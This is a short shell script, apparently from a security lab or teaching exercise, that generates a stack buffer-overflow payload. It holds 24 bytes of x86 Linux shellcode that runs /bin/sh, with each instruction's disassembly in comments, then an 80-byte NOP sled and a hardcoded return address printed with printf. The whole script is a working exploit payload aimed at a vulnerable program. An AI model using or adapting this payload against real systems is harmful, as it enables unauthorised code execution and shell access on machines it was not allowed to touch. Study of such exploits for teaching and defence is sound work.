#!/bin/sh

# shellscript that overwrites the buffer with 

# some payload for opening a shell (the payload

# cannot contain any \x00)

shellcode="\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x99\x52\x53\x89\xe1\xb0\x0b\xcd\x80" 

# 24 bytes of shellcode

# "\x31\xc0"                      // xorl         %eax,%eax

# "\x50"                          // pushl        %eax

# "\x68\x6e\x2f\x73\x68"          // pushl        $0x68732f6e

# "\x68\x2f\x2f\x62\x69"          // pushl        $0x69622f2f

# "\x89\xe3"                      // movl         %esp,%ebx

# "\x99"                          // cltd

# "\x52"                          // pushl        %edx

# "\x53"                          // pushl        %ebx

# "\x89\xe1"                      // movl         %esp,%ecx

# "\xb0\x0b"                      // movb         $0xb,%al

# "\xcd\x80"                      // int          $0x80

padding=`perl -e 'print "\x90" x 80'`

# need s correct address in order to run

printf $shellcode$padding"\xe8\xf8\xff\xbf\x00\x00\x00\x00"